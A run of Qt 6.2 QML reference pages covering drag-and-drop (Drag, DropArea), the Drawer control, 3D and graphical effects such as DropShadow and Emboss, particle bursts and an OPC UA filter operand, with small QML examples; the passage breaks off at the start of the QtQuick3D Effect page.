 This property holds the URL of the image which will be used to represent the data during the drag and drop operation. Changing this property after the drag operation has started will have no effect.

 The example below uses an item's contents as a drag image:

 
```
import QtQuick 2.12

Item {
    width: 200; height: 200

    Rectangle {
        anchors.centerIn: parent
        width: text.implicitWidth + 20; height: text.implicitHeight + 10
        color: "green"
        radius: 5

        Drag.active: dragHandler.active
        Drag.dragType: Drag.Automatic
        Drag.supportedActions: Qt.CopyAction
        Drag.mimeData: {
            "text/plain": "Copied text"
        }

        Text {
            id: text
            anchors.centerIn: parent
            text: "Drag me"
        }

        DragHandler {
            id: dragHandler
            onActiveChanged:
                if (active) {
                    parent.grabToImage(function(result) {
                        parent.Drag.imageSource = result.url;
                    })
                }
        }
    }
}
```
 This property was introduced in Qt 5.8.

 **See also** [Item::grabToImage](qml-qtquick-item#grabToImage-method)().

 ###  Drag.keys : stringlist

 This property holds a list of keys that can be used by a [DropArea](qml-qtquick-droparea) to filter drag events.

 Changing the keys while a drag is active will reset the sequence of drag events by sending a drag leave event followed by a drag enter event with the new source.

 ###  [since 5.2] Drag.mimeData : stringlist

 This property holds a map of mimeData that is used during [startDrag](qml-qtquick-drag#startDrag-method).

 This property was introduced in Qt 5.2.

 ###  Drag.proposedAction : [enumeration](qml-enumeration)

 This property holds an action that is recommended by the drag source as a return value from Drag.[drop](qml-qtquick-drag#drop-method)().

 Changes to proposedAction will trigger a move event with the updated proposal.

 ###  Drag.source : Object

 This property holds an object that is identified to recipients of drag events as the source of the events. By default this is the item that the Drag property is attached to.

 Changing the source while a drag is active will reset the sequence of drag events by sending a drag leave event followed by a drag enter event with the new source.

 ###  Drag.supportedActions : flags

 This property holds return values of Drag.[drop](qml-qtquick-drag#drop-method)() supported by the drag source.

 Changing the supportedActions while a drag is active will reset the sequence of drag events by sending a drag leave event followed by a drag enter event with the new source.

 ###  Drag.target : Object

 While a drag is active this property holds the last object to accept an enter event from the dragged item, if the current drag position doesn't intersect any accepting targets it is null.

 When a drag is not active this property holds the object that accepted the drop event that ended the drag, if no object accepted the drop or the drag was canceled the target will then be null.

 Attached Signal Documentation
-----------------------------

 ###  dragFinished(DropAction *dropAction*)

 This signal is emitted when a drag finishes and the drag was started with the [startDrag](qml-qtquick-drag#startDrag-method)() method or started automatically using the [dragType](qml-qtquick-drag#dragType-attached-prop) property.

 *dropAction* holds the action accepted by the target item.

 **Note:** The corresponding handler is `onDragFinished`.

 **See also** [drop](qml-qtquick-drag#drop-method)().

 ###  dragStarted()

 This signal is emitted when a drag is started with the [startDrag](qml-qtquick-drag#startDrag-method)() method or when it is started automatically using the [dragType](qml-qtquick-drag#dragType-attached-prop) property.

 **Note:** The corresponding handler is `onDragStarted`.

 Attached Method Documentation
-----------------------------

 ###  void cancel()

 Ends a drag sequence.

 ###  [enumeration](qml-enumeration) drop()

 Ends a drag sequence by sending a drop event to the target item.

 Returns the action accepted by the target item. If the target item or a parent doesn't accept the drop event then Qt.IgnoreAction will be returned.

 The returned drop action may be one of:

 * Qt.CopyAction Copy the data to the target
* Qt.MoveAction Move the data from the source to the target
* Qt.LinkAction Create a link from the source to the target.
* Qt.IgnoreAction Ignore the action (do nothing with the data).

 ###  void start(flags *supportedActions*)

 Starts sending drag events. Used for starting old-style internal drags. [startDrag](qml-qtquick-drag#startDrag-method) is the new-style, preferred method of starting drags.

 The optional *supportedActions* argument can be used to override the [supportedActions](qml-qtquick-drag#supportedActions-attached-prop) property for the started sequence.

 ###  void startDrag(flags *supportedActions*)

 Starts sending drag events.

 The optional *supportedActions* argument can be used to override the [supportedActions](qml-qtquick-drag#supportedActions-attached-prop) property for the started sequence.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick-drag.html>

Drawer QML Type
===============

 Side panel that can be opened and closed using a swipe gesture. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick.Controls |
|  Since: |  Qt 5.7 |
|  Inherits: | [Popup](qml-qtquick-controls2-popup) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick-controls2-drawer-members.html)

 Properties
----------

 * **[dragMargin](qml-qtquick-controls2-drawer#dragMargin-prop)** : real
* **[edge](qml-qtquick-controls2-drawer#edge-prop)** : enumeration
* **[interactive](qml-qtquick-controls2-drawer#interactive-prop)** : bool
* **[position](qml-qtquick-controls2-drawer#position-prop)** : real

 Detailed Description
--------------------

 Drawer provides a swipe-based side panel, similar to those often used in touch interfaces to provide a central location for navigation.


    ![]  
Drawer can be positioned at any of the four edges of the content item. The drawer above is positioned against the left edge of the window. The drawer is then opened by *"dragging"* it out from the left edge of the window.

 
```
import QtQuick
import QtQuick.Controls

ApplicationWindow {
    id: window
    visible: true

    Drawer {
        id: drawer
        width: 0.66 * window.width
        height: window.height

        Label {
            text: "Content goes here!"
            anchors.centerIn: parent
        }
    }
}
```
 Drawer is a special type of popup that resides at one of the window [edges](qml-qtquick-controls2-drawer#edge-prop). By default, Drawer re-parents itself to the window `overlay`, and therefore operates on window coordinates. It is also possible to manually set the [parent](qml-qtquick-controls2-popup#parent-prop) to something else to make the drawer operate in a specific coordinate space.

 Drawer can be configured to cover only part of its window edge. The following example illustrates how Drawer can be positioned to appear below a window header:

 
```
import QtQuick
import QtQuick.Controls

ApplicationWindow {
    id: window
    visible: true

    header: ToolBar { }

    Drawer {
        y: header.height
        width: window.width * 0.6
        height: window.height - header.height
    }
}
```
 The [position](qml-qtquick-controls2-drawer#position-prop) property determines how much of the drawer is visible, as a value between `0.0` and `1.0`. It is not possible to set the x-coordinate (or horizontal margins) of a drawer at the left or right window edge, or the y-coordinate (or vertical margins) of a drawer at the top or bottom window edge.

 In the image above, the application's contents are *"pushed"* across the screen. This is achieved by applying a translation to the contents:

 
```
import QtQuick
import QtQuick.Controls

ApplicationWindow {
    id: window
    width: 200
    height: 228
    visible: true

    Drawer {
        id: drawer
        width: 0.66 * window.width
        height: window.height
    }

    Label {
        id: content

        text: "Aa"
        font.pixelSize: 96
        anchors.fill: parent
        verticalAlignment: Label.AlignVCenter
        horizontalAlignment: Label.AlignHCenter

        transform: Translate {
            x: drawer.position * content.width * 0.33
        }
    }
}
```
 If you would like the application's contents to stay where they are when the drawer is opened, don't apply a translation.

 Drawer can be configured as a non-closable persistent side panel by making the Drawer [non-modal](qml-qtquick-controls2-popup#modal-prop) and [non-interactive](qml-qtquick-controls2-drawer#interactive-prop). See the [Side Panel](https://doc.qt.io/qt-6.2/qtquickcontrols-sidepanel-example.html) example for more details.

  **Note:** On some platforms, certain edges may be reserved for system gestures and therefore cannot be used with Drawer. For example, the top and bottom edges may be reserved for system notifications and control centers on Android and iOS.

  **See also** [SwipeView](qml-qtquick-controls2-swipeview), [Customizing Drawer](qtquickcontrols2-customize#customizing-drawer), [Navigation Controls](qtquickcontrols2-navigation), and [Popup Controls](qtquickcontrols2-popups).

 Property Documentation
----------------------

 ###  dragMargin : [real](qml-real)

 This property holds the distance from the screen edge within which drag actions will open the drawer. Setting the value to `0` or less prevents opening the drawer by dragging.

 The default value is `Qt.styleHints.startDragDistance`.

 **See also** [interactive](qml-qtquick-controls2-drawer#interactive-prop).

 ###  edge : [enumeration](qml-enumeration)

 This property holds the edge of the window at which the drawer will open from. The acceptable values are:

 

| Constant | Description |
| --- | --- |
| `Qt.TopEdge` | The top edge of the window. |
| `Qt.LeftEdge` | The left edge of the window (default). |
| `Qt.RightEdge` | The right edge of the window. |
| `Qt.BottomEdge` | The bottom edge of the window. |

 ###  [since QtQuick.Controls 2.2 (Qt 5.9)] interactive : [bool](qml-bool)

 This property holds whether the drawer is interactive. A non-interactive drawer does not react to swipes.

 The default value is `true`.

 This property was introduced in QtQuick.Controls 2.2 (Qt 5.9).

 **See also** [dragMargin](qml-qtquick-controls2-drawer#dragMargin-prop).

 ###  position : [real](qml-real)

 This property holds the position of the drawer relative to its final destination. That is, the position will be `0.0` when the drawer is fully closed, and `1.0` when fully open.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick-controls2-drawer.html>

DropArea QML Type
=================

 For specifying drag and drop handling in an area. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick |
|  Inherits: | [Item](qml-qtquick-item) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick-droparea-members.html)

 Properties
----------

 * **[containsDrag](qml-qtquick-droparea#containsDrag-prop)** : bool
* **[drag](qml-qtquick-droparea#drag-prop)**
	+ **[drag.x](qml-qtquick-droparea#drag.x-prop)** : qreal
	+ **[drag.y](qml-qtquick-droparea#drag.y-prop)** : qreal
* **[drag.source](qml-qtquick-droparea#drag.source-prop)** : Object
* **[keys](qml-qtquick-droparea#keys-prop)** : stringlist

 Signals
-------

 * **[dropped](qml-qtquick-droparea#dropped-signal)**(DragEvent *drop*)
* **[entered](qml-qtquick-droparea#entered-signal)**(DragEvent *drag*)
* **[exited](qml-qtquick-droparea#exited-signal)**()
* **[positionChanged](qml-qtquick-droparea#positionChanged-signal)**(DragEvent *drag*)

 Detailed Description
--------------------

 A DropArea is an invisible item which receives events when other items are dragged over it.

 The [Drag](qml-qtquick-drag) attached property can be used to notify the DropArea when an Item is dragged over it.

 The [keys](qml-qtquick-droparea#keys-prop) property can be used to filter drag events which don't include a matching key.

 The [drag.source](qml-qtquick-droparea#drag.source-prop) property is communicated to the source of a drag event as the recipient of a drop on the drag target.

 **See also** [Qt Quick Examples - Drag and Drop](https://doc.qt.io/qt-6.2/qtquick-draganddrop-example.html) and [Qt Quick Examples - externaldraganddrop](https://doc.qt.io/qt-6.2/qtquick-externaldraganddrop-example.html).

 Property Documentation
----------------------

 ###  containsDrag : [bool](qml-bool)

 This property identifies whether the [DropArea](qml-qtquick-droparea) currently contains any dragged items.

 ###  drag.x : qreal

 These properties hold the coordinates of the last drag event.

 ###  drag.source : Object

 This property holds the source of a drag.

 ###  keys : stringlist

 This property holds a list of drag keys a [DropArea](qml-qtquick-droparea) will accept.

 If no keys are listed the [DropArea](qml-qtquick-droparea) will accept events from any drag source, otherwise the drag source must have at least one compatible key.

 **See also** [QtQuick::Drag::keys](qml-qtquick-drag#keys-attached-prop).

 Signal Documentation
--------------------

 ###  dropped([DragEvent](qml-qtquick-dragevent) *drop*)

 This signal is emitted when a *drop* event occurs within the bounds of a [DropArea](qml-qtquick-droparea).

 **Note:** The corresponding handler is `onDropped`.

 ###  entered([DragEvent](qml-qtquick-dragevent) *drag*)

 This signal is emitted when a *drag* enters the bounds of a [DropArea](qml-qtquick-droparea).

 **Note:** The corresponding handler is `onEntered`.

 ###  exited()

 This signal is emitted when a drag exits the bounds of a [DropArea](qml-qtquick-droparea).

 **Note:** The corresponding handler is `onExited`.

 ###  positionChanged([DragEvent](qml-qtquick-dragevent) *drag*)

 This signal is emitted when the position of a *drag* has changed.

 **Note:** The corresponding handler is `onPositionChanged`.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick-droparea.html>

EdgeDetect QML Type
===================

 An edge highlighting effect. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick3D.Effects |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick3d-effects-edgedetect-members.html)

 Properties
----------

 * **[edgeStrength](qml-qtquick3d-effects-edgedetect#edgeStrength-prop)** : real

 Detailed Description
--------------------

 ![]


The EdgeDetect effect turns smooth, unchanging areas of the scene darker, while areas of the scene with sharp color changes are brightened to highlight the edges.

 Property Documentation
----------------------

 ###  edgeStrength : [real](qml-real)

 The strength of the edge highlighting. The range is `[0...1]`. The default value is `0.5`.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick3d-effects-edgedetect.html>

Effect QML Type
===============

 The base class for effects in a Qt 3D scene. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import Qt3D.Render |
|  Since: |  Qt 5.7 |
|  Instantiates: | [QEffect](qt3drender-qeffect) |
|  Inherits: | [Node](qml-qt3d-core-node) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qt3d-render-effect-members.html)

 Properties
----------

 * **[parameters](qml-qt3d-render-effect#parameters-prop)** : list<Parameter>
* **[techniques](qml-qt3d-render-effect#techniques-prop)** : list<Technique>

 Detailed Description
--------------------

 The Effect type combines a set of techniques and parameters used by those techniques to produce a rendering effect for a material.

 An Effect instance should be shared among several Material instances when possible.

 A Parameter defined on a Effect overrides parameter (of the same name) defined in Technique and [RenderPass](qml-qt3d-render-renderpass), but are overridden by parameter in [RenderPassFilter](qml-qt3d-render-renderpassfilter), [TechniqueFilter](qml-qt3d-render-techniquefilter) and Material.

  **Note:** Effect node can not be disabled.

  
```
Effect {
    id: effect

    technique: [
        Technique {
            id: gl3Technique
            graphicsApiFilter {
                api: GraphicsApiFilter.OpenGL
                profile: GraphicsApiFilter.CoreProfile
                majorVersion: 3
                minorVersion: 1
            }
            renderPasses: [
                RenderPass {
                    id: gl3Pass
                    shaderProgram: ShaderProgram {
                        ...
                    }
                }
            ]
        }
    ]
}
```
 **See also** [Material](qml-qt3d-render-material), [Technique](qml-qt3d-render-technique), and [Parameter](qml-qt3d-render-parameter).

 Property Documentation
----------------------

 ###  parameters : [list](qml-list)<[Parameter](qml-qt3d-render-parameter)>

 Holds the list of parameters used by this effect. A parameter is used to set a corresponding uniform value in the shader used by this effect.

 ###  techniques : [list](qml-list)<[Technique](qml-qt3d-render-technique)>

 Holds the list of techniques used by this effect.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qt3d-render-effect.html>

ElementOperand QML Type
=======================

 The OPC UA ElementOperand type. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtOpcUa |
|  Since: |  QtOpcUa 5.13 |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtopcua-elementoperand-members.html)

 Properties
----------

 * **[index](qml-qtopcua-elementoperand#index-prop)** : int

 Detailed Description
--------------------

 The ElementOperand is defined in OPC-UA part 4, 7.4.4.2. It is used to identify another element in the filter by its index (the first element has the index 0).

 This is required to create complex filters, for example to reference the two operands of the AND operation in ((Severity > 500) AND (Message == "TestString")). The first step is to create content filter elements for the two conditions (Severity > 500) and (Message == "TestString"). A third content filter element is required to create an AND combination of the two conditions. It consists of the AND operator and two element operands with the indices of the two conditions created before:

 
```
import QtOpcUa 5.13 as QtOpcUa

QtOpcUa.EventFilter {
    select : [ ... ]
    where: [
        QtOpcUa.FilterElement {
            operator: QtOpcUa.FilterElement.GreaterThan
            firstOperand: QtOpcUA.SimpleAttributeOperand {
                browsePath: [
                    QtOpcUa.NodeId {
                        identifier: "Severity"
                        ns: "http://opcfoundation.org/UA/"
                    }
                ]
            }
            secondOperand: QtOpcUa.LiteralOperand {
                value: 500
                type: QtOpcUa.Constants.UInt16
            }
        }
        QtOpcUa.FilterElement {
            operator: QtOpcUa.FilterElement.Equals
            firstOperand: QtOpcUA.SimpleAttributeOperand {
                browsePath: [
                    QtOpcUa.NodeId {
                        identifier: "Message"
                        ns: "http://opcfoundation.org/UA/"
                    }
                ]
            }
            secondOperand: QtOpcUa.LiteralOperand {
                value: "TestString"
                type: QtOpcUa.Constants.String
            }
        }
        QtOpcUa.FilterElement {
            operator: QtOpcUa.FilterElement.And
            firstOperand: QtOpcUA.ElementOperand {
                index: 0
            }
            secondOperand: QtOpcUa.ElementOperand {
                index: 1
            }
        }
    ]
}
```
 Property Documentation
----------------------

 ###  index : [int](qml-int)

 Index of the filter element that is going to be used as operand.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtopcua-elementoperand.html>

EllipseShape QML Type
=====================

 Represents an ellipse to other particle system elements. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick.Particles |
|  Inherits: | [Shape](qml-qtquick-shapes-shape) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick-particles-ellipseshape-members.html)

 Properties
----------

 * **[fill](qml-qtquick-particles-ellipseshape#fill-prop)** : bool

 Detailed Description
--------------------

 This shape can be used by Emitter subclasses and Affector subclasses to have them act upon an ellipse shaped area.

 Property Documentation
----------------------

 ###  fill : [bool](qml-bool)

 If fill is true the ellipse is filled; otherwise it is just a border.

 Default is true.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick-particles-ellipseshape.html>

Emboss QML Type
===============

 An emboss effect. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick3D.Effects |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick3d-effects-emboss-members.html)

 Properties
----------

 * **[amount](qml-qtquick3d-effects-emboss#amount-prop)** : real

 Detailed Description
--------------------

 ![]


The Emboss effect replaces each pixel either by a highlight or a shadow, depending on light/dark boundaries on the scene. Low contrast areas are replaced by a gray background. The embossed result represents the rate of color change at each location.

 Property Documentation
----------------------

 ###  amount : [real](qml-real)

 The strength of the emboss effect. Sensible values are in the range `[0...0.01]`. The default value is `0.003`.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick3d-effects-emboss.html>

EmitBurst3D QML Type
====================

 Declarative emitter bursts. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick3D.Particles3D |
|  Since: |  Qt 6.2 |
|  Inherits: | [QtObject](qml-qtqml-qtobject) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick3d-particles3d-emitburst3d-members.html)

 Properties
----------

 * **[amount](qml-qtquick3d-particles3d-emitburst3d#amount-prop)** : int
* **[duration](qml-qtquick3d-particles3d-emitburst3d#duration-prop)** : int
* **[time](qml-qtquick3d-particles3d-emitburst3d#time-prop)** : int

 Detailed Description
--------------------

 This element defines particle bursts in the [ParticleEmitter3D](qml-qtquick3d-particles3d-particleemitter3d).

 For example, to emit 100 particles at the beginning, and 50 particles at 2 seconds, so that both bursts take 200 milliseconds:

 
```
ParticleEmitter3D {
    ...
    emitBursts: [
        EmitBurst3D {
            time: 0
            amount: 100
            duration: 200
        },
        EmitBurst3D {
            time: 2000
            amount: 50
            duration: 200
        }
    ]
}
```
 Property Documentation
----------------------

 ###  amount : [int](qml-int)

 This property defines the amount of particles emitted during the burst.

 The default value is `0`.

 ###  duration : [int](qml-int)

 This property defines the duration of the burst. The default value is 0, meaning all particles will burst at the beginning of [time](qml-qtquick3d-particles3d-emitburst3d#time-prop). If the duration is set, particles emitting is distributed between `time` and `time` + `duration`.

 For example, to have emit rate of 400 between 1000 and 1200 milliseconds:

 
```
EmitBurst3D {
    time: 1000
    amount: 80
    duration: 1200
}
```
 The default value is `0`.

 ###  time : [int](qml-int)

 This property defines the time in milliseconds when emitting the burst starts.

 The default value is `0`.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick3d-particles3d-emitburst3d.html>

DropShadow QML Type
===================

 Generates a colorized and blurred shadow image of the source and places it behind the original, giving the impression that source item is raised from the background. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import Qt5Compat.GraphicalEffects |
|  Since: |  QtGraphicalEffects 1.0 |
|  Inherits: | [Item](qml-qtquick-item) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qt5compat-graphicaleffects-dropshadow-members.html)

 Properties
----------

 * **[cached](qml-qt5compat-graphicaleffects-dropshadow#cached-prop)** : bool
* **[color](qml-qt5compat-graphicaleffects-dropshadow#color-prop)** : color
* **[horizontalOffset](qml-qt5compat-graphicaleffects-dropshadow#horizontalOffset-prop)** : real
* **[radius](qml-qt5compat-graphicaleffects-dropshadow#radius-prop)** : real
* **[source](qml-qt5compat-graphicaleffects-dropshadow#source-prop)** : variant
* **[spread](qml-qt5compat-graphicaleffects-dropshadow#spread-prop)** : real
* **[transparentBorder](qml-qt5compat-graphicaleffects-dropshadow#transparentBorder-prop)** : bool
* **[verticalOffset](qml-qt5compat-graphicaleffects-dropshadow#verticalOffset-prop)** : real

 Detailed Description
--------------------

 

| Source | Effect applied |
| --- | --- |
|  |  |

 Example
-------

 The following example shows how to apply the effect.

 
```
import QtQuick
import Qt5Compat.GraphicalEffects

Item {
    width: 300
    height: 300

    Rectangle {
        anchors.fill: parent
    }

    Image {
        id: butterfly
        source: "images/butterfly.png"
        sourceSize: Qt.size(parent.width, parent.height)
        smooth: true
        visible: false
    }

    DropShadow {
        anchors.fill: butterfly
        horizontalOffset: 3
        verticalOffset: 3
        radius: 8.0
        color: "#80000000"
        source: butterfly
    }
}
```
 Property Documentation
----------------------

 ###  cached : [bool](qml-bool)

 This property allows the effect output pixels to be cached in order to improve the rendering performance. Every time the source or effect properties are changed, the pixels in the cache must be updated. Memory consumption is increased, because an extra buffer of memory is required for storing the effect output.

 It is recommended to disable the cache when the source or the effect properties are animated.

 By default, the property is set to `false`.

 ###  color : [color](qml-color)

 This property defines the RGBA color value which is used for the shadow.

 By default, the property is set to `"black"`.

 

| Output examples with different color values |  |  |
| --- | --- | --- |
|  |  |  |
|  **color: #000000**  |  **color: #0000ff**  |  **color: #aa000000**  |
| [radius](qml-qt5compat-graphicaleffects-dropshadow#radius-prop): 8 | [radius](qml-qt5compat-graphicaleffects-dropshadow#radius-prop): 8 | [radius](qml-qt5compat-graphicaleffects-dropshadow#radius-prop): 8 |
| [horizontalOffset](qml-qt5compat-graphicaleffects-dropshadow#horizontalOffset-prop): 0 | [horizontalOffset](qml-qt5compat-graphicaleffects-dropshadow#horizontalOffset-prop): 0 | [horizontalOffset](qml-qt5compat-graphicaleffects-dropshadow#horizontalOffset-prop): 0 |
| [verticalOffset](qml-qt5compat-graphicaleffects-dropshadow#verticalOffset-prop): 20 | [verticalOffset](qml-qt5compat-graphicaleffects-dropshadow#verticalOffset-prop): 20 | [verticalOffset](qml-qt5compat-graphicaleffects-dropshadow#verticalOffset-prop): 20 |
| [spread](qml-qt5compat-graphicaleffects-dropshadow#spread-prop): 0 | [spread](qml-qt5compat-graphicaleffects-dropshadow#spread-prop): 0 | [spread](qml-qt5compat-graphicaleffects-dropshadow#spread-prop): 0 |

 ###  horizontalOffset : [real](qml-real)

 HorizontalOffset and [verticalOffset](qml-qt5compat-graphicaleffects-dropshadow#verticalOffset-prop) properties define the offset for the rendered shadow compared to the [DropShadow](qml-qt5compat-graphicaleffects-dropshadow) item position. Often, the [DropShadow](qml-qt5compat-graphicaleffects-dropshadow) item is anchored so that it fills the source element. In this case, if the HorizontalOffset and [verticalOffset](qml-qt5compat-graphicaleffects-dropshadow#verticalOffset-prop) properties are set to 0, the shadow is rendered exactly under the source item. By changing the offset properties, the shadow can be positioned relatively to the source item.

 The values range from -inf to inf. By default, the properties are set to `0`.

 

| Output examples with different horizontalOffset values |  |  |
| --- | --- | --- |
|  |  |  |
|  **horizontalOffset: -20**  |  **horizontalOffset: 0**  |  **horizontalOffset: 20**  |
| [radius](qml-qt5compat-graphicaleffects-dropshadow#radius-prop): 4 | [radius](qml-qt5compat-graphicaleffects-dropshadow#radius-prop): 4 | [radius](qml-qt5compat-graphicaleffects-dropshadow#radius-prop): 4 |
| [color](graphicaleffects5#color): #000000 | [color](graphicaleffects5#color): #000000 | [color](graphicaleffects5#color): #000000 |
| [verticalOffset](qml-qt5compat-graphicaleffects-dropshadow#verticalOffset-prop): 0 | [verticalOffset](qml-qt5compat-graphicaleffects-dropshadow#verticalOffset-prop): 0 | [verticalOffset](qml-qt5compat-graphicaleffects-dropshadow#verticalOffset-prop): 0 |
| [spread](qml-qt5compat-graphicaleffects-dropshadow#spread-prop): 0 | [spread](qml-qt5compat-graphicaleffects-dropshadow#spread-prop): 0 | [spread](qml-qt5compat-graphicaleffects-dropshadow#spread-prop): 0 |

 ###  radius : [real](qml-real)

 Radius defines the softness of the shadow. A larger radius causes the edges of the shadow to appear more blurry.

 The value ranges from 0.0 (no blur) to inf. By default, the property is set to `0.0` (no blur).

 

| Output examples with different radius values |  |  |
| --- | --- | --- |
|  |  |  |
|  **radius: 0**  |  **radius: 6**  |  **radius: 12**  |
| [color](graphicaleffects5#color): #000000 | [color](graphicaleffects5#color): #000000 | [color](graphicaleffects5#color): #000000 |
| [horizontalOffset](qml-qt5compat-graphicaleffects-dropshadow#horizontalOffset-prop): 0 | [horizontalOffset](qml-qt5compat-graphicaleffects-dropshadow#horizontalOffset-prop): 0 | [horizontalOffset](qml-qt5compat-graphicaleffects-dropshadow#horizontalOffset-prop): 0 |
| [verticalOffset](qml-qt5compat-graphicaleffects-dropshadow#verticalOffset-prop): 20 | [verticalOffset](qml-qt5compat-graphicaleffects-dropshadow#verticalOffset-prop): 20 | [verticalOffset](qml-qt5compat-graphicaleffects-dropshadow#verticalOffset-prop): 20 |
| [spread](qml-qt5compat-graphicaleffects-dropshadow#spread-prop): 0 | [spread](qml-qt5compat-graphicaleffects-dropshadow#spread-prop): 0 | [spread](qml-qt5compat-graphicaleffects-dropshadow#spread-prop): 0 |

 ###  source : variant

 This property defines the source item that is going to be used as the source for the generated shadow.

  **Note:** It is not supported to let the effect include itself, for instance by setting source to the effect's parent.

  ###  spread : [real](qml-real)

 This property defines how large part of the shadow color is strenghtened near the source edges.

 The value ranges from 0.0 to 1.0. By default, the property is set to `0.5`.

 

| Output examples with different spread values |  |  |
| --- | --- | --- |
|  |  |  |
|  **spread: 0.0**  |  **spread: 0.5**  |  **spread: 1.0**  |
| [radius](qml-qt5compat-graphicaleffects-dropshadow#radius-prop): 8 | [radius](qml-qt5compat-graphicaleffects-dropshadow#radius-prop): 8 | [radius](qml-qt5compat-graphicaleffects-dropshadow#radius-prop): 8 |
| [color](graphicaleffects5#color): #000000 | [color](graphicaleffects5#color): #000000 | [color](graphicaleffects5#color): #000000 |
| [horizontalOffset](qml-qt5compat-graphicaleffects-dropshadow#horizontalOffset-prop): 0 | [horizontalOffset](qml-qt5compat-graphicaleffects-dropshadow#horizontalOffset-prop): 0 | [horizontalOffset](qml-qt5compat-graphicaleffects-dropshadow#horizontalOffset-prop): 0 |
| [verticalOffset](qml-qt5compat-graphicaleffects-dropshadow#verticalOffset-prop): 20 | [verticalOffset](qml-qt5compat-graphicaleffects-dropshadow#verticalOffset-prop): 20 | [verticalOffset](qml-qt5compat-graphicaleffects-dropshadow#verticalOffset-prop): 20 |

 ###  transparentBorder : [bool](qml-bool)

 This property determines whether or not the effect has a transparent border.

 When set to `true`, the exterior of the item is padded with a 1 pixel wide transparent edge, making sampling outside the source texture use transparency instead of the edge pixels. Without this property, an image which has opaque edges will not get a blurred edge.

 In the image below, the Rectangle on the left has transparent borders and has blurred edges, whereas the Rectangle on the right does not:

 
```
import QtQuick
import Qt5Compat.GraphicalEffects

Rectangle {
    width: 180
    height: 100

    Row {
        anchors.centerIn: parent
        spacing: 16

        Rectangle {
            id: normalRect
            width: 60
            height: 60
            radius: 10
            color: "steelblue"
            layer.enabled: true
            layer.effect: DropShadow {
                transparentBorder: false
                horizontalOffset: 8
                verticalOffset: 8
            }
        }

        Rectangle {
            id: transparentBorderRect
            width: 60
            height: 60
            radius: 10
            color: "steelblue"
            layer.enabled: true
            layer.effect: DropShadow {
                transparentBorder: true
                horizontalOffset: 8
                verticalOffset: 8
            }
        }
    }
}
```
 ![]

 ###  verticalOffset : [real](qml-real)

 HorizontalOffset and verticalOffset properties define the offset for the rendered shadow compared to the [DropShadow](qml-qt5compat-graphicaleffects-dropshadow) item position. Often, the [DropShadow](qml-qt5compat-graphicaleffects-dropshadow) item is anchored so that it fills the source element. In this case, if the HorizontalOffset and verticalOffset properties are set to 0, the shadow is rendered exactly under the source item. By changing the offset properties, the shadow can be positioned relatively to the source item.

 The values range from -inf to inf. By default, the properties are set to `0`.

 

| Output examples with different [horizontalOffset](qml-qt5compat-graphicaleffects-dropshadow#horizontalOffset-prop) values |  |  |
| --- | --- | --- |
|  |  |  |
|  **[horizontalOffset](qml-qt5compat-graphicaleffects-dropshadow#horizontalOffset-prop): -20**  |  **[horizontalOffset](qml-qt5compat-graphicaleffects-dropshadow#horizontalOffset-prop): 0**  |  **[horizontalOffset](qml-qt5compat-graphicaleffects-dropshadow#horizontalOffset-prop): 20**  |
| [radius](qml-qt5compat-graphicaleffects-dropshadow#radius-prop): 4 | [radius](qml-qt5compat-graphicaleffects-dropshadow#radius-prop): 4 | [radius](qml-qt5compat-graphicaleffects-dropshadow#radius-prop): 4 |
| [color](graphicaleffects5#color): #000000 | [color](graphicaleffects5#color): #000000 | [color](graphicaleffects5#color): #000000 |
| verticalOffset: 0 | verticalOffset: 0 | verticalOffset: 0 |
| [spread](qml-qt5compat-graphicaleffects-dropshadow#spread-prop): 0 | [spread](qml-qt5compat-graphicaleffects-dropshadow#spread-prop): 0 | [spread](qml-qt5compat-graphicaleffects-dropshadow#spread-prop): 0 |



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qt5compat-graphicaleffects-dropshadow.html>

Effect QML Type
===============

 Base component for creating a post-processing effect. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick3D |
|  Inherits: | [Object3D](qml-qtquick3d-object3d) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick3d-effect-members.html)

 Properties
----------

 * **[passes](qml-qtquick3d-effect#passes-prop)** : list

